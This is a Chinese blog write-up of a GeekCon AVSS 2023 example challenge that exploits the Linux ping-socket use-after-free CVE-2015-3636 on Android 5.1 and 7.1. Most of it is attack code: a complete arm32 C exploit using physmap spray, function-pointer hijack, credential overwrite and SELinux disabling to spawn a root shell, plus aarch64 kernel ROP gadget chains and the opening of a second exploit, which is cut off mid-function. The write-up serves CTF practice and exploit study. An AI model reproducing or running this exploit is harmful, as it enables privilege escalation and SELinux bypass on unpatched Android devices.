GeekCon AVSS 2023 初赛示例题 CVE-2015-3636

Geekcon 2023 AVSS挑战赛的说明文档中,用 CVE-2015-3636 这个漏洞作为示例,展示了同一个漏洞在不同环境中(android 5/7/11)进行利用所面临的挑战。文档中有题目环境的下载方式。

android 5.1环境下3636的利用

基本信息

架构:arm32

linux版本:3.4.67

防护措施:开启selinux,未开启PXN,PAN,KASLR

漏洞分析

之前的文章中有过详细分析,这里不再重复。

漏洞利用

控制流劫持 - physmap spray

physmap spray分两步:

  • 喷UAF sock
  • 喷mmap

最终,两者都会出现在physmap区域,并且有一定的概率某些sock会跟mmap内存重合。

  1. 第一次尝试(失败)
    • 喷4096个 UAF sock
    • mmap最大的空间并填充,最后搜索哪个sock被覆盖到
  2. 第二次尝试(成功)
    • 先喷4096个 UAF sock
    • 每mmap一次就搜索一次,直到mmap到最大空间。munmap所有空间,然后再重复mmap过程。直到找到合适的vuln sock。
  3. 第三次尝试(成功)
    • 分散vuln sock,子进程喷1000个sock,父进程喷一个sock,几个来回后,先正常释放子进程的sock,然后触发漏洞使父进程产生vuln sock。
    • mmap前先确定空间够用,每mmap一次就搜索一次,直到mmap到最大空间。munmap所有空间,然后再重复mmap过程。直到找到合适的vuln sock。

所以,后两种方法都可以达成目的,都是结合原作者的exp改出来的,不知道为什么第一种方法在32位下就是不成功。

以第3种方法为例,重点记录一下父子进程搭配创建sock部分的代码逻辑

1
2
3
- 父进程读到1,表示子进程已创建好`PADDING_SOCK_NUM`个sock fd
- 子进程读到2,表示父进程已申请完sock fd,子进程可以继续创建下一轮sock fd
- 父进程读到3,表示子进程已创建完4000个sock fd,父进程需要新起一个子进程继续创建padding sock fd

找到合适的vuln sock之后,只需 close(vuln_sock) 即可触发 inet_relase() 中对 struct socksk->sk_prot->close 函数指针的调用。所以提前将该sock的内容填充好,即可达成控制流劫持。

需要注意在控制流劫持前, ip_mc_drop_socket() 函数中会访问 inet->mc_list ,需要提前将该内容置0,防止崩溃。以后在利用时也需要细心注意。

get root shell - ret2usr

由于本题未开启PAN PXN KASLR等防护措施,所以到这一步就简单了。控制了函数指针后,直接ret2usr执行完 commit_creds(prepare_kernel_cred(0)) 即可完成提权,当然还要注意关闭selinux。通过 sel_read_enforce() 函数找到 selinux_enforcing 的地址,将其改成0即可关闭selinux。最后正常返回到用户态执行 execl("/system/bin/sh", "sh", NULL); 即可获得root shell。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/in.h>
#include <sys/resource.h>
#include <sys/sysinfo.h>
#include <errno.h>

#define PAGE_SIZE 4096
#define MAX_VUL_SOCKS_NUM 200
#define NSEC_PER_SEC 1000000000

#define ONE_CHILD_SOCK_NUM 4000
#define PADDING_SOCK_NUM 1000
#define MAX_CHILD_NUM 10

#define ONE_MMAP_SIZE 2*1024*1024
#define MAX_MMAP_NUM 1024

#define SIOCGSTAMPNS 0x8907
#ifndef SIOCGSTAMPNS
#define SIOCGSTAMPNS 0x8907
#endif /* SIOCGSTAMPNS */

#define TIMESTAMP_MAGIC 0x0db4da5f
#define SK_STAMP_OFFSET 0x118

#define MEM_RESERVE_SIZE 64*1024*1024

int vuln_sock[MAX_VUL_SOCKS_NUM];
int vuln_sock_count;
unsigned vuln_sock_addr;
unsigned vuln_sock_index;

struct sockaddr_in sa1,sa2;

int maximize_fd_limit()
{
struct rlimit rlim;
getrlimit(RLIMIT_NOFILE, &rlim);

rlim.rlim_cur = rlim.rlim_max;
setrlimit(RLIMIT_NOFILE, &rlim);

getrlimit(RLIMIT_NOFILE, &rlim);
return rlim.rlim_cur;
}

int mmap_200200(){
void* address = mmap((void*)0x200000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED| MAP_FIXED |MAP_ANONYMOUS, -1, 0);
if(address == MAP_FAILED){
printf("map failed!\\n");
exit(1);
}
memset(address,0x90,0x1000);
int ret = mlock(address, 0x1000);
if(ret !=0 ){
printf("mlock error in mmap_200200\\n");
exit(1);
}
printf("[+] mmap 0x200000~0x201000, avoid crash.\\n");
return 0;
}

void do_child_task(int read_fd, int write_fd, int num){
int i,j,ret;
int result = 0;
int child_sock[ONE_CHILD_SOCK_NUM];

// close other fds
for(i=3; i<4096; i++){
if(i == read_fd || i == write_fd) continue;
ret = close(i);
if(ret != 0){
// printf("[child %d] error close fd %d\\n",num,i);
break;
}
}

// every 1000 socks notice parent once
struct sockaddr_in sa;
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;

for(i=0; i<ONE_CHILD_SOCK_NUM; i+=PADDING_SOCK_NUM){
for(j=0; j<PADDING_SOCK_NUM; j++){
child_sock[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
ret = connect(child_sock[i], (const struct sockaddr *) &sa, sizeof(sa));
if(ret != 0){
printf("child %d connect failed! index: %d\\n", num, i);
break;
}
}

// sync to parent
result = 1;
write(write_fd, &result, sizeof(result));

read(read_fd, &result, sizeof(result));
if(result == 2){
continue;
}else{
printf("[child %d] stop creating sock\\n",num);
exit(0);
}

}

result = 3;
write(write_fd, &result, sizeof(result));

while(1){
sleep(30);
}
}

void create_vuln_socks(){
int pipe_fd1[2];
int pipe_fd2[2];
int read_fd, write_fd;
int child_pid[MAX_CHILD_NUM];
int i,j,k,ret;

printf(" [-] malloc socks start\\n");
// (1000 padding sock + 1 vuln sock)*n
signal(SIGCHLD, SIG_IGN); // avoid child process becomes zombie
for(i=0; i<MAX_CHILD_NUM; i++){
pipe(pipe_fd1); // p:read c:write
pipe(pipe_fd2); // p:write c:read

child_pid[i] = fork();
if(child_pid[i] == 0){
close(pipe_fd1[0]);
close(pipe_fd2[1]);
do_child_task(pipe_fd2[0],pipe_fd1[1],i);
exit(0);
}

close(pipe_fd1[1]);
close(pipe_fd2[0]);
read_fd = pipe_fd1[0];
write_fd = pipe_fd2[1];

// communicate with child process, (1000 child sock + 1 parent sock)
int child_result;
for(j=0; j<10; j++){
read(read_fd, &child_result, sizeof(child_result)); // get child status
if(child_result == 1){
vuln_sock[vuln_sock_count] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
ret = connect(vuln_sock[vuln_sock_count], (const struct sockaddr *) &sa1, sizeof(sa1));
if(ret != 0){
printf("parent connect failed!\\n");
printf("index: %d\\n",i);
}
vuln_sock_count++;
child_result = 2;
write(write_fd,&child_result,sizeof(child_result)); // send parent status to child
continue;
}
if(child_result == 3){
break;
}
}
printf(" [round %d] created %d vunl sock now\\n", i, vuln_sock_count);
}

printf(" [-] malloc socks done\\n");
// kill all the child process
for(i=0;i<MAX_CHILD_NUM;i++){
kill(child_pid[i],SIGKILL);
}

// trigger uaf
sleep(3); // will affect trigger uaf

printf(" [-] trigger uaf\\n");
for(i=0; i<vuln_sock_count; i++){
ret = connect(vuln_sock[i], (const struct sockaddr *) &sa2, sizeof(sa2));
if(ret != 0){
printf("connect failed!\\n");
printf("index: %d\\n",i);
}
ret = connect(vuln_sock[i], (const struct sockaddr *) &sa2, sizeof(sa2));
if(ret != 0){
printf("connect failed!\\n");
printf("index: %d\\n",i);
}
}

}

int get_sk_stamp(int sock){
struct timespec tv;
long long value;
unsigned high, low;
int ret;

ret = ioctl(sock, SIOCGSTAMPNS, &tv);
if (ret != 0) {
return -1;
}

value = ((long long)tv.tv_sec * NSEC_PER_SEC) + tv.tv_nsec;
high = (unsigned)(value >> 32);
low = (unsigned)value;

if (high == TIMESTAMP_MAGIC) {
vuln_sock_addr = low - SK_STAMP_OFFSET;
return 1;
}

return 0;
}

int find_target_sock(int *socks){
static void* mapped[MAX_MMAP_NUM];
unsigned* mapped_page;
int i,j, k, ret;

int test_count = 0;
int mmap_count = 0;
struct sysinfo info;

static int reserve_size = MEM_RESERVE_SIZE;
static int loop_count = 0;

loop_count++;

for(i = 0; i < MAX_MMAP_NUM; i++){
ret = sysinfo(&info);
if (ret == 0) {
if (info.freeram < reserve_size) {
if (loop_count < 4) {
reserve_size = info.freeram;
}
break;
}
}
// if(ret == 0){
// if(info.freeram < MEM_RESERVE_SIZE){
// break;
// }
// }

mapped[i] = mmap(NULL, ONE_MMAP_SIZE , PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if(mapped[i] == MAP_FAILED){
printf("mmap failed\\n");
sleep(1);
return 0;
}
mmap_count++;

mapped_page = mapped[i];
ret = mlock(mapped[i], ONE_MMAP_SIZE);
if(ret != 0){
// printf("mlock error\\n");
}

for(j = 0; j < ONE_MMAP_SIZE; j += sizeof(*mapped_page)*2){
*mapped_page++ = (unsigned)mapped_page;
*mapped_page++ = TIMESTAMP_MAGIC;
}
for(k = 0; k < vuln_sock_count; k++){
ret = get_sk_stamp(socks[k]);
if (ret == 1){
printf(" [-] success! find one vuln sock, index is %d\\n", k);
vuln_sock_index = k;
mapped[i] = 0; // avoid unmap
test_count++;
// break;
}
}
if(test_count > 0) break;
}

printf(" [-] going to unmap!\\n");
for(i=0; i<mmap_count; i++){
if(mapped[i]){
munmap(mapped[i], ONE_MMAP_SIZE);
}
}
printf(" [-] unmap finished.\\n");

return test_count;
}

void get_shell(){
int ret;

ret = getuid();
printf(" [-] now, the uid is :%d\\n",ret);
if(ret == 0){
printf(" [-] here is a root shell, enjoy it!\\n");
execl("/system/bin/sh", "sh", NULL);
}else{
printf("failed to get root shell\\n");
sleep(30);
}
}

void get_root(){
unsigned*(*pkc)(int) = 0xC0039C30;
int(*cc)(unsigned*) = 0xC00396FC;
unsigned* selinux_enforcing_addr = 0xc04ec378;

*selinux_enforcing_addr = 0; // setenforce 0
(*cc)((*pkc)(0)); // setuid 0, etc

// unsigned ret_fast_syscall_func = 0xC000D7C0;
// asm
// (
// "LDR R3, =0xC0039C30 \\n\\t"
// "MOV R0, #0 \\n\\t"
// "BLX R3 \\n\\t"
// "LDR R3, =0xC00396FC \\n\\t"
// "BLX R3 \\n\\t"
// "LDR R3, =0xC000D7C0 \\n\\t"
// "BLX R3 \\n\\t"
// );

}

void do_get_root(){
int i,j,k,ret;
printf(" [-] vuln_sock_addr: 0x%x \\n [-] vuln_sock_index: %d \\n",vuln_sock_addr,vuln_sock_index);
unsigned func_addr = get_root;

printf(" [-] get_root: 0x%lx\\n",get_root);
printf(" [-] func_addr: 0x%lx\\n",func_addr);
printf(" [-] &func_addr: 0x%lx\\n",&func_addr);
printf(" [-] get_shell: 0x%lx\\n",get_shell);

*(unsigned*)(vuln_sock_addr+0x1c) = &func_addr;
*(unsigned*)(vuln_sock_addr+0x194) = 0;

printf(" [-] set sock done!\\n");
// sleep(10);
close(vuln_sock[vuln_sock_index]);

printf(" [-] returned from kernel, let's get a shell.\\n");
get_shell();
}

int main(){
int i,j,ret;

vuln_sock_count = 0;
memset(vuln_sock, 0x0, MAX_VUL_SOCKS_NUM);

memset(&sa1, 0, sizeof(sa1));
sa1.sin_family = AF_INET;
memset(&sa2, 0, sizeof(sa2));
sa2.sin_family = AF_UNSPEC;

ret = maximize_fd_limit();
printf("[+] set rlimit. rlim.rlim_cur: %d\\n",ret);

mmap_200200();

// 1. create vuln socks
printf("[+] step 1: create vulnerable socks\\n");
create_vuln_socks();
printf("[+] step 1 finished\\n");
// 2. mmap spray
printf("[+] step 2: mmap spray to find target vuln sock\\n");
int _=0;
while (1) {
printf(" [-] try find_target_sock: %d\\n", _++);
ret = find_target_sock(vuln_sock);
if (ret != 0) {
printf(" [-] Done!\\n");
break;
}
}
printf("[+] step 2 finished\\n");

// 3. hijack control flow, and get root
printf("[+] step 3: hijack kernel control flow and get root shell\\n");
do_get_root();

printf("[+]should never be there\\n");
sleep(100);
return 0;
}

一些注意点

本题利用心得:在未开启PAN和PXN的系统上,如果控制流劫持成功了,且劫持点是一个函数指针。那么,最简单的办法就是执行一个用户态函数(提权,改selinux等),该函数执行完毕后,内核会正常返回用户态。再在用户态中执行一下get shell函数即可。

其他:

  • 需要使用父子进程通信时,一定要注意,尽量什么值都别传,不然一个不小心就容易出错。父子进程最常用的通信方式有pipe系统调用,或者通过ptrace来控制子进程的执行和停止。

  • mmap spray时,最好结合sysinfo的信息,决定何时停止mmap,防止因内存不足崩溃

  • mmap映射某些重要内存(后续会访问)时,最好用mlock锁定一下,防止被换出。参考:用mlock防止内存被换出到swap空间

android 7.1 环境下3636的利用

基本信息

架构:aarch64

linux版本:3.10.0+

防护措施:开启PXN,selinux;未开启PAN,KASLR

1
2
generic_arm64:/ # cat /proc/version
Linux version 3.10.0+ (root@762e8f0b371a) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #5 SMP PREEMPT Fri Apr 14 12:03:15 CST 2023

漏洞分析

参考之前的文章

漏洞利用

有几个点需要注意一下的

控制流劫持 - physmap spray

aarch64上的physmap spray比 arm32的要简单些,直接用第一种方法就可以

  1. 第一次尝试(成功)

    • 喷4096个 UAF sock

    • mmap最大的空间并填充,最后搜索哪个sock被覆盖到

      这里,mmap spray的内存要多点,一开始我只给了 300*2*1024*1024 ,后来给到5*128*1024*1024 就可以了。(768M/1G)

      另外,一次mmap的size尽量给大点,可以减少系统调用时间的消耗

      关于MAX_MMAP_NUM和ONE_MMAP_SIZE,6*(128*1024*1024)384*(2*1024*1024)都可以。

get root shell - pipe r/w

这是作者的方法,更简洁通用

1、改addr_limit

利用 kernel_setsockopt() 函数,将进程的 addr_limit 设置成 0xffffffffffffffff,于是用户态可以访问内核空间。(恰好控制流劫持时X1为0,不为1,才可以跳过将addr_limit设置回TASK_SIZE那一步)

改完进程的 addr_limit 后,就可以利用 pipe 系统调用来构造内核任意地址读写原语了!

2、泄露thread_info

方法1:利用 mutex_trylock() 函数的如下代码片段,泄露进程的thread_info结构体地址,计算cred地址。(恰好X1是0,会将task地址写到0x18地址处,在用户态mmap一下低地址,即可读取该值)

1
2
3
4
5
.kernel:FFFFFFC000530A58                 MOV             X2, SP
.kernel:FFFFFFC000530A5C AND X2, X2, #0xFFFFFFFFFFFFC000
.kernel:FFFFFFC000530A60 LDR X2, [X2,#0x10]
.kernel:FFFFFFC000530A64 STR X2, [X1,#0x18]
.kernel:FFFFFFC000530A68 RET
  • 找其他gadget的方式:正则表达式sp .* #0xFFFFFFFFFFFFC000 .* str

方法2: 通过 JOP 的方式将内核栈 sp 地址泄露到用户空间,然后在用户态完成计算,写cred。(相当于通过 JOP 链执行了一个函数,又返回到控制流劫持的下一条指令处。相比与kernel rop的好处是,不用恢复栈地址。)

3、改selinux,改cred结构体,用户态get root shell

get root shell - kernel rop

上面两位作者的方法,都需要找两次vuln sock,我希望只找一次sock就能成,于是我试了另一种比较笨的方法 - Kernel ROP,看能不能成。没想到,竟然真的找到一条可用的ROP链!!

rop的思路是,尽可能利用系统调用时,放入内核栈中的用户态寄存器。于是需要自己写一段内联汇编,实现对 close() 函数的调用。需要注意参数的传递,因为对arm内联汇编不熟,这里走了些弯路。

虽然有将近30个寄存器的内容可控,但是由于aarch64 ROP的特殊性,这点空间根本不够用。于是在内核完成提权和关selinux后,又回到用户态设置栈平衡。

  • 第一段rop - in kernel

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    b *0xffffffc000083e40        el0_sync
    b *0xffffffc0000842c8 fast_exit
    b *0xFFFFFFC00042E39C inet_release

    hijack pc -> 0xffffffc000118458 : add sp, sp, #0x100 ; ret

    0xffffffc0004f8198 : add sp, sp, #0x110 ; ret
    0xffffffc0003b0e10 : add sp, sp, #0x150 ; ret

    x2,x3 -> x19,x20

    prepare_kernel_cred中,从0xffffffc0000c00c0
    commit_creds中,从0xffffffc0000bfbbc

    0xffffffc0002b5f70 : ldr x21, [sp, #0x10] ; add sp, sp, #0x20 ; ret
    0xffffffc0002cb748 : ldr x22, [x1, #0x18] ; blr x2 // 如果x22默认是0的话,可以不设置
    0xffffffc0002682ec : mov x22, #0 ; blr x2
    0xffffffc0000824d8 : ldr x23, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret

    0xffffffc0000813f4 : ldp x21, x22, [sp, #0x20] ; ldp x29, x30, [sp], #0x30 ; ret

    0xffffffc00017eb08 : ldr x0, [x19, #0x30] ; ldr x19, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret

    // 改selinux
    0xffffffc00025bc94 : str w19, [x20] ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret

    // 准备改系统寄存器
    0xffffffc0000876a0 : ldp x21, x22, [sp, #0x20] ; ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret

    // 利用 ret_fast_syscall()-> fast_exit() 中的代码,正常返回用户态
    0xFFFFFFC000084290 :

    unsigned long long* selinux_enforcing = 0xFFFFFFC0006EB94C;
    unsigned long long* pkc_addr = 0xFFFFFFC0000C0014;
    unsigned long long* cc_addr = 0xFFFFFFC0000BFAB4;

    "LDR X0, =0x3 \\n\\t"
    "LDR X1, =0xFFFFFFC0000C0014 \\n\\t" // 0xFFFFFFC0000C0014 prepare_kernel_cred
    "LDR X2, =0x0 \\n\\t" // to x19
    "LDR X3, =selinux_enforcing \\n\\t" // to x20
    "LDR X4, =0x04040404 \\n\\t"
    "LDR X5, =0xFFFFFFC0000BFAB4 \\n\\t" // 0xFFFFFFC0000BFAB4 commit_creds
    "LDR X6, =0x06060606 \\n\\t"
    "LDR X7, =0X07070707 \\n\\t"
    "LDR X8, =0x39 \\n\\t"
    "LDR X9, =0xffffffc00025bc94 \\n\\t" // 下一条指令
    "LDR X10, =0x10101010 \\n\\t"
    "LDR X11, =0x11111111 \\n\\t"
    "LDR X12, =0x12121212 \\n\\t"
    "LDR X13, =0X13131313 \\n\\t"
    "LDR X14, =0x14141414 \\n\\t"
    "LDR X15, =0x15151515 \\n\\t"
    "LDR X16, =0x16161616 \\n\\t" //
    "LDR X17, =0xffffffc0000876a0 \\n\\t" // 下一条指令
    "LDR X18, =0x18181818 \\n\\t" // to x19
    "LDR X19, =0X19191919 \\n\\t" // to x20
    "LDR X20, =0x20202020 \\n\\t" //
    "LDR X21, =0xFFFFFFC000084290 \\n\\t" // 下一条指令,直接返回用户态无法执行execve,因为内核栈不平衡了。(但是可以执行除它之外的其他系统调用)
    "LDR X22, =0x22222222 \\n\\t"
    "LDR X23, =0X23232323 \\n\\t"
    "LDR X24, =0x24242424 \\n\\t" // to x21(pc) 0x557e31a974
    "LDR X25, =0X25252525 \\n\\t" // to x22 0
    "LDR X26, =0x26262626 \\n\\t" // to x23(sp) 0x557e31df00
    "LDR X27, =0X27272727 \\n\\t" // to x24
    "LDR X28, =0x28282828 \\n\\t"
  • 第二段rop - in user

    为什么要先在内核空间做一次栈迁移,然后才迁移到用户空间呢?

    因为一开始需要先使用内核函数 commit_creds(prapare_kernel_cred(0)) 为进程提权。如果在这之前往用户空间栈迁移,会导致执行这两个内核函数时,task等结构的地址计算不正确,从而系统崩溃。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    减栈操作 -> 没什么gadget

    栈劫持到用户态空间

    1 hijack sp:
    hijack pc -> 0xffffffc000118458 : add sp, sp, #0x100 ; ret

    2 hijack sp:
    0xffffffc000204894 : mov sp, x29 ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret

    最终目的:把x28的值(+0x3f20)给到sp
    提前设置好x29

    从栈上初始化x0, x1
    0xffffffc0000d9384 : ldp x0, x1, [x29, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret

    因为没有直接把x28给sp的指令,所以找一个中间寄存器
    0xffffffc0000f1194 : mov x0, x28 ; blr x1

    0xffffffc0002999ec : add x0, x0, x19 ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret

    放到x0寄存器后,转移到x9.【令x29+0x68 == x19+0x30

    0xffffffc0004ceab0 : stp x0, x1, [x19, #0x30] ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret

    0xffffffc0004f7138 : ldr x8, [x19] ; strb w9, [sp] ; ldr x9, [x29, #0x68] ; str x9, [sp, #8] ; ldr x8, [x8, #0x1b0] ; blr x8

    x8跳到哪儿呢?

    0xffffffc00009e8b8 : ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x20 ; ret

    0xffffffc0000d9384 : ldp x0, x1, [x29, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
    0xffffffc000132cb8 : mov x8, x0 ; mov x0, x8 ; ldp x29, x30, [sp], #0x10 ; ret

    在这条之前设置好x30,指向0xffffffc000084290,然后执行这条指令
    0xffffffc000084240 : ldr x30, [x8] ; mov sp, x9 ; ret

    // 在用户态mmap空间中布置好相关内容
    int idx_1 = 0;

    (unsigned long long *)map_addr_1[0x0] = map_addr_2; // x29
    (unsigned long long *)map_addr_1[0x8] = 0xffffffc0000d9384; // x30
    (unsigned long long *)map_addr_1[0x10] = 0x3f20; // x19 x0+x19
    (unsigned long long *)map_addr_1[0x18] = 0x0; // x20
    (unsigned long long *)map_addr_1[0x20] = 0x0; // x29
    (unsigned long long *)map_addr_1[0x28] = 0xffffffc0000f1194; // x30
    (unsigned long long *)map_addr_1[0x30] = 0x0;
    (unsigned long long *)map_addr_1[0x38] = 0x0;
    (unsigned long long *)map_addr_1[0x40] = 0x0; // x29
    (unsigned long long *)map_addr_1[0x48] = 0xffffffc0004ceab0; // x30
    (unsigned long long *)map_addr_1[0x50] = map_addr_2+0x38; // x19
    (unsigned long long *)map_addr_1[0x58] = 0x0; // x20
    (unsigned long long *)map_addr_1[0x60] = map_addr_2; // x29
    (unsigned long long *)map_addr_1[0x68] = 0xffffffc0004f7138; //x30
    (unsigned long long *)map_addr_1[0x70] = map_addr_2; // x19
    (unsigned long long *)map_addr_1[0x78] = 0x0; // x20
    (unsigned long long *)map_addr_1[0x80] = 0x0; // dirt
    (unsigned long long *)map_addr_1[0x88] = 0x0; // x9 will be stored here
    (unsigned long long *)map_addr_1[0x90] = map_addr_3; // x29
    (unsigned long long *)map_addr_1[0x98] = 0xffffffc0000d9384; // x30
    (unsigned long long *)map_addr_1[0xa0] = 0x0; // x29
    (unsigned long long *)map_addr_1[0xa8] = 0xffffffc000132cb8; // x30
    (unsigned long long *)map_addr_1[0xb0] = 0x0;
    (unsigned long long *)map_addr_1[0xb8] = 0x0;
    (unsigned long long *)map_addr_1[0xc0] = 0x0; // x29
    (unsigned long long *)map_addr_1[0xc8] = 0xffffffc000084240; // x30
    sp->(unsigned long long *)map_addr_1[0xd0] = 0x0;
    (unsigned long long *)map_addr_1[0xd8] = 0x0;

    (unsigned long long *)map_addr_2[0x0] = map_addr_2; // x0
    (unsigned long long *)map_addr_2[0x8] = 0x0; // x0
    (unsigned long long *)map_addr_2[0x10] = 0x0; // x0
    (unsigned long long *)map_addr_2[0x18] = 0xffffffc0002999ec; // x1 blr x1,(x0 +=x19)
    (unsigned long long *)map_addr_2[0x20] = 0x0; // x29
    (unsigned long long *)map_addr_2[0x28] = ; // x30
    (unsigned long long *)map_addr_2[0x1b0] = 0xffffffc00009e8b8; // ldr x8,[x8,0x1b0]

    (unsigned long long *)map_addr_3[0x0] = 0xffffffc000084290;
    (unsigned long long *)map_addr_3[0x8] = 0x0;
    (unsigned long long *)map_addr_3[0x10] = map_addr_3; // x0
    (unsigned long long *)map_addr_3[0x18] = 0x0; // x1
    (unsigned long long *)map_addr_3[0x20] = 0x0;
    (unsigned long long *)map_addr_3[0x28] = 0x0;

第一种exp - pipe r/w + mutex_trylock()泄露

参考 4B5F5F4B 的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <limits.h>
#include <signal.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/sockios.h>

#define MAX_SOCK_NUM 4000

#define MAX_MMAP_NUM 6
#define ONE_MMAP_SIZE 128*1024*1024

#define SK_STAMP_OFFSET 0x1E0

#define SIOCGSTAMPNS 0x8907
#define NSEC_PER_SEC 1000000000

#define MAGIC_VALUE 0x66666666 // test before use

int vuln_sock[MAX_SOCK_NUM];
void* mmaped[MAX_MMAP_NUM];

int mmap_page_count;
void* mmap_per_page[(ONE_MMAP_SIZE/PAGE_SIZE) * MAX_MMAP_NUM];

int vuln_sock_index;
void* vuln_page;

int maximize_fd_limit(){
struct rlimit rlim;
getrlimit(RLIMIT_NOFILE, &rlim);

rlim.rlim_cur = rlim.rlim_max;
setrlimit(RLIMIT_NOFILE, &rlim);

getrlimit(RLIMIT_NOFILE, &rlim);
return rlim.rlim_cur;
}

void mmap200200(){
int ret=0;
void *addr;
addr = mmap((void*)0x200000, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
if(addr == -1){
printf("failed to mmap 0x200200\\n");
exit(1);
}
*(unsigned*)addr = 0x100;
ret = mlock(addr,PAGE_SIZE);
if(ret != 0){
printf("failed to mlock 0x200200\\n");
exit(1);
}
}

void create_vuln_socks(){
int i,j;

struct sockaddr_in sa1;
memset(&sa1,0x0,sizeof(sa1));
sa1.sin_family = AF_INET;

struct sockaddr_in sa2;
memset(&sa2,0x0,sizeof(sa2));
sa2.sin_family = AF_UNSPEC;

for(i = 0; i < MAX_SOCK_NUM; i++){
vuln_sock[i] = socket(AF_INET,SOCK_DGRAM,IPPROTO_ICMP);
if(vuln_sock[i] <= 0){
printf("create socket error: %s (%d)", strerror(errno), errno);
}
connect(vuln_sock[i],&sa1,sizeof(sa1));
}

for(i = 0; i < MAX_SOCK_NUM; i++){
connect(vuln_sock[i],&sa2,sizeof(sa2));
connect(vuln_sock[i],&sa2,sizeof(sa2));
}

}

void mmap_spray(){
int i,j;

void* mapped_page;

mmap_page_count = 0;

for(i = 0; i < MAX_MMAP_NUM; i++){
mmaped[i] = mmap(NULL, ONE_MMAP_SIZE , PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
// PRIVATE POPULATE? seems unnecessary
if(mmaped[i] == MAP_FAILED){
printf("mmap failed\\n");
sleep(1);
exit(1);
}

